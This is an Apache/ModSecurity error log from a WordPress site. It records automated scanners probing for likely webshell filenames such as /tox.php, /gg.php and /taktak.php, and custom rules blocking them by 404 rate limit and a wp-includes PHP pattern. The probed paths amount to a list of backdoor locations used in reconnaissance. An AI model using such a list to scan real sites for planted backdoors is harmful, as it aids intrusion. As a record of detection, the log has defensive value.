[Tue Jan 27 03:05:00.759792 2026] [:error] [pid 18632:tid 18641] [client 40.115.140.37:2069] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php/wp-update.php"] [unique_id "aXe63KU_e_bi-Bnkkm4eiwAAAEY"]
[Tue Jan 27 03:05:03.168927 2026] [:error] [pid 23303:tid 23312] [client 40.115.140.37:7297] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php/wp-update.php"] [unique_id "aXe6359-XqTbIalaUZyiZwAAAYc"]
[Tue Jan 27 03:05:04.510422 2026] [:error] [pid 44587:tid 44793] [client 40.115.140.37:14469] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php/wp-update.php"] [unique_id "aXe64IsXadca93KAT8QCmQAAAME"]
[Tue Jan 27 03:05:06.469484 2026] [:error] [pid 44586:tid 44766] [client 40.115.140.37:6484] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aXe64qZDnq-dPBqM5Li7CgAAAII"]
[Tue Jan 27 03:05:07.154126 2026] [:error] [pid 44849:tid 44853] [client 40.115.140.37:9095] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aXe64xvM0vcShMgZVmQLXgAAAUI"]
[Tue Jan 27 03:05:07.998328 2026] [:error] [pid 57173:tid 57253] [client 40.115.140.37:9794] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aXe6404W-bz8q8pfNmgyWwAAABQ"]
[Tue Jan 27 03:05:08.950286 2026] [:error] [pid 44588:tid 44828] [client 40.115.140.37:5634] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aXe65DHRQD80UhqYrcAqPwAAAQg"]
[Tue Jan 27 03:05:09.645671 2026] [:error] [pid 44588:tid 44840] [client 40.115.140.37:4785] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aXe65THRQD80UhqYrcAqQQAAARQ"]
[Tue Jan 27 03:05:11.225630 2026] [:error] [pid 18632:tid 18642] [client 40.115.140.37:11491] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aXe656U_e_bi-Bnkkm4ekwAAAEc"]
[Tue Jan 27 03:05:11.844468 2026] [:error] [pid 44849:tid 44861] [client 40.115.140.37:4966] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aXe65xvM0vcShMgZVmQLYwAAAUo"]
[Tue Jan 27 03:05:12.480691 2026] [:error] [pid 23303:tid 23309] [client 40.115.140.37:2855] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aXe66J9-XqTbIalaUZyicwAAAYQ"]
[Tue Jan 27 03:05:13.092298 2026] [:error] [pid 57173:tid 57249] [client 40.115.140.37:6421] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aXe66U4W-bz8q8pfNmgyXwAAABA"]
[Tue Jan 27 03:05:14.267583 2026] [:error] [pid 44586:tid 44779] [client 40.115.140.37:2903] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aXe66qZDnq-dPBqM5Li7DgAAAI8"]
[Tue Jan 27 03:05:15.267849 2026] [:error] [pid 44586:tid 44776] [client 40.115.140.37:9986] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aXe666ZDnq-dPBqM5Li7DwAAAIw"]
[Tue Jan 27 03:05:16.553324 2026] [:error] [pid 44586:tid 44771] [client 40.115.140.37:9215] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aXe67KZDnq-dPBqM5Li7EwAAAIc"]
[Tue Jan 27 03:05:17.667064 2026] [:error] [pid 44849:tid 44871] [client 40.115.140.37:6321] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aXe67RvM0vcShMgZVmQLaAAAAVQ"]
[Tue Jan 27 03:05:18.435460 2026] [:error] [pid 18632:tid 18636] [client 40.115.140.37:11521] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aXe67qU_e_bi-Bnkkm4elgAAAEE"]
[Tue Jan 27 03:05:19.683284 2026] [:error] [pid 44586:tid 44778] [client 40.115.140.37:14851] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aXe676ZDnq-dPBqM5Li7FAAAAI4"]
[Tue Jan 27 03:05:21.084882 2026] [:error] [pid 23303:tid 23307] [client 40.115.140.37:12085] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aXe68Z9-XqTbIalaUZyihQAAAYI"]
[Tue Jan 27 03:05:21.695225 2026] [:error] [pid 23303:tid 23320] [client 40.115.140.37:8793] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe68Z9-XqTbIalaUZyiiQAAAY8"]
[Tue Jan 27 03:05:22.500240 2026] [:error] [pid 23303:tid 23308] [client 40.115.140.37:9916] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe68p9-XqTbIalaUZyijAAAAYM"]
[Tue Jan 27 03:05:23.514760 2026] [:error] [pid 57173:tid 57232] [client 40.115.140.37:2237] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe6804W-bz8q8pfNmgyZQAAAAA"]
[Tue Jan 27 03:05:24.161382 2026] [:error] [pid 57173:tid 57247] [client 40.115.140.37:2175] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aXe69E4W-bz8q8pfNmgyZwAAAA4"]
[Tue Jan 27 03:05:27.108489 2026] [:error] [pid 44588:tid 44824] [client 40.115.140.37:2208] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aXe69zHRQD80UhqYrcAqTwAAAQQ"]
[Tue Jan 27 03:05:27.591853 2026] [:error] [pid 44849:tid 44875] [client 40.115.140.37:4046] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aXe69xvM0vcShMgZVmQLbQAAAVg"]
[Tue Jan 27 03:05:28.571884 2026] [:error] [pid 44849:tid 44855] [client 40.115.140.37:4077] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aXe6-BvM0vcShMgZVmQLbwAAAUQ"]
[Tue Jan 27 03:05:29.404106 2026] [:error] [pid 57173:tid 57240] [client 40.115.140.37:6163] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tox.php"] [unique_id "aXe6-U4W-bz8q8pfNmgyagAAAAg"]
[Tue Jan 27 03:05:29.937416 2026] [:error] [pid 44586:tid 44768] [client 40.115.140.37:13939] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aXe6-aZDnq-dPBqM5Li7HAAAAIQ"]
[Tue Jan 27 03:05:30.982246 2026] [:error] [pid 44849:tid 44860] [client 40.115.140.37:11411] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aXe6-hvM0vcShMgZVmQLcQAAAUk"]
[Tue Jan 27 03:05:31.879438 2026] [:error] [pid 23303:tid 23310] [client 40.115.140.37:3815] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aXe6-59-XqTbIalaUZyinwAAAYU"]
[Tue Jan 27 03:05:32.843640 2026] [:error] [pid 44849:tid 44868] [client 40.115.140.37:13903] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aXe6_BvM0vcShMgZVmQLcgAAAVE"]
[Tue Jan 27 03:05:33.742921 2026] [:error] [pid 57173:tid 57238] [client 40.115.140.37:4072] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aXe6_U4W-bz8q8pfNmgycAAAAAY"]
[Tue Jan 27 03:05:34.293922 2026] [:error] [pid 57173:tid 57250] [client 40.115.140.37:4347] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aXe6_k4W-bz8q8pfNmgycQAAABE"]
[Tue Jan 27 03:05:35.869892 2026] [:error] [pid 57173:tid 57232] [client 40.115.140.37:9733] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aXe6_04W-bz8q8pfNmgycwAAAAA"]
[Tue Jan 27 03:05:37.047649 2026] [:error] [pid 44586:tid 44774] [client 40.115.140.37:12319] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aXe7AaZDnq-dPBqM5Li7IQAAAIo"]
[Tue Jan 27 03:05:38.616537 2026] [:error] [pid 44587:tid 44808] [client 40.115.140.37:10671] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aXe7AosXadca93KAT8QCqgAAANA"]
[Tue Jan 27 03:05:39.552863 2026] [:error] [pid 44586:tid 44784] [client 40.115.140.37:10053] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aXe7A6ZDnq-dPBqM5Li7JQAAAJQ"]
[Tue Jan 27 03:06:00.704792 2026] [:error] [pid 44588:tid 44842] [client 40.115.140.37:4749] [client 40.115.140.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aXe7GDHRQD80UhqYrcAqbQAAARY"]
[Tue Jan 27 03:06:05.635258 2026] [autoindex:error] [pid 23303:tid 23309] [client 40.115.140.37:10064] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 05:43:49.653157 2026] [:error] [pid 7453:tid 7493] [client 20.197.56.186:14552] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-cc.php"] [unique_id "aXfgFRfsyA2ws_ADquiSuQAAAEQ"]
[Tue Jan 27 05:44:08.528810 2026] [:error] [pid 7453:tid 7512] [client 20.197.56.186:21692] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXfgKBfsyA2ws_ADquiSxgAAAFc"]
[Tue Jan 27 05:44:12.399924 2026] [:error] [pid 7561:tid 7580] [client 20.197.56.186:21763] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXfgLLXGI6mgvHQqkXwRNAAAANA"]
[Tue Jan 27 05:44:13.518882 2026] [:error] [pid 7454:tid 7531] [client 20.197.56.186:19565] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXfgLZltCoZEfMmfl8BeTwAAAI8"]
[Tue Jan 27 05:44:31.389235 2026] [:error] [pid 41780:tid 41799] [client 20.197.56.186:11686] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11092null.php"] [unique_id "aXfgP1vu-XLQ0TaZ4FFkFAAAARE"]
[Tue Jan 27 05:46:17.165764 2026] [:error] [pid 7453:tid 7507] [client 20.197.56.186:11746] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXfgqRfsyA2ws_ADquiTdAAAAFI"]
[Tue Jan 27 05:46:31.518944 2026] [:error] [pid 7454:tid 7536] [client 20.197.56.186:19618] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/my1.php"] [unique_id "aXfgt5ltCoZEfMmfl8BfngAAAJQ"]
[Tue Jan 27 05:46:39.353040 2026] [:error] [pid 7454:tid 7522] [client 20.197.56.186:20278] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXfgv5ltCoZEfMmfl8BfqwAAAIY"]
[Tue Jan 27 05:46:41.633998 2026] [:error] [pid 7561:tid 7581] [client 20.197.56.186:13515] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXfgwbXGI6mgvHQqkXwR7wAAANE"]
[Tue Jan 27 05:46:42.865439 2026] [:error] [pid 7561:tid 7565] [client 20.197.56.186:20194] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXfgwrXGI6mgvHQqkXwR8AAAAME"]
[Tue Jan 27 05:46:47.419590 2026] [:error] [pid 41780:tid 41786] [client 20.197.56.186:19152] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taktak.php"] [unique_id "aXfgx1vu-XLQ0TaZ4FFkoQAAAQQ"]
[Tue Jan 27 05:46:48.799952 2026] [:error] [pid 7453:tid 7509] [client 20.197.56.186:19172] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sfcl.php"] [unique_id "aXfgyBfsyA2ws_ADquiTfQAAAFQ"]
[Tue Jan 27 05:47:10.466411 2026] [:error] [pid 7561:tid 7584] [client 20.197.56.186:13455] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXfg3rXGI6mgvHQqkXwR_AAAANQ"]
[Tue Jan 27 05:47:11.351145 2026] [:error] [pid 41780:tid 41791] [client 20.197.56.186:4826] [client 20.197.56.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ypukprhr.php"] [unique_id "aXfg31vu-XLQ0TaZ4FFkqgAAAQk"]
[Tue Jan 27 05:58:34.236052 2026] [:error] [pid 41780:tid 41790] [client 20.214.153.76:24325] [client 20.214.153.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXfjilvu-XLQ0TaZ4FFn3gAAAQg"]
[Tue Jan 27 05:58:34.814686 2026] [:error] [pid 7453:tid 7503] [client 20.214.153.76:29885] [client 20.214.153.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXfjihfsyA2ws_ADquiW7QAAAE4"]
[Tue Jan 27 05:58:35.381068 2026] [:error] [pid 7454:tid 7531] [client 20.214.153.76:3977] [client 20.214.153.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXfji5ltCoZEfMmfl8BmeAAAAI8"]
